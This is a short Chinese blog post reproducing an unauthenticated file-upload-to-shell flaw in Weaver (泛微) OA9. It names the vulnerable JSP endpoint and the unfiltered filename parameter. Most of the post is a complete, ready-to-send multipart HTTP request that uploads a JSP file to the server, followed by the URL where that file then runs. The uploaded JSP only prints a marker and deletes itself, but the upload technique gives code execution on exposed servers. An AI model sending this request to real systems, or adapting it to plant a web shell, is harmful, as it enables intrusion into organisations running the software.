泛微OA9 前台无限制Getshell 复现

作者: print("") 分类: 未分类 发布时间: 2021-04-09 11:14

漏洞位于:/page/exportImport/uploadOperation.jsp文件中
 
Jsp流程大概是:判断请求是否是multipart请求。然后直接上传
重点关注File file=new File(savepath+filename),

Filename参数,是前台可控的,并且没有做任何过滤限制

POST /page/exportImport/uploadOperation.jsp HTTP/1.1
Host: 192.168.10.1:81
Content-Length: 397
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.68
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6XgyjB6SeCArD3Hc
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
dnt: 1
x-forwarded-for: 127.0.0.1
Connection: close

------WebKitFormBoundary6XgyjB6SeCArD3Hc
Content-Disposition: form-data; name="file"; filename="2.jsp"
Content-Type: application/octet-stream

<%
  out.println(new String(new sun.misc.BASE64Decoder().decodeBuffer("ZTE2NTQyMTExMGJhMDMwOTlhMWMwMzkzMzczYzViNDM=")));
  new java.io.File(application.getRealPath(request.getServletPath())).delete();
%>
------WebKitFormBoundary6XgyjB6SeCArD3Hc--

然后访问/page/exportImport/fileTransfer/2.jsp

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表评论

电子邮件地址不会被公开。 必填项已用*标注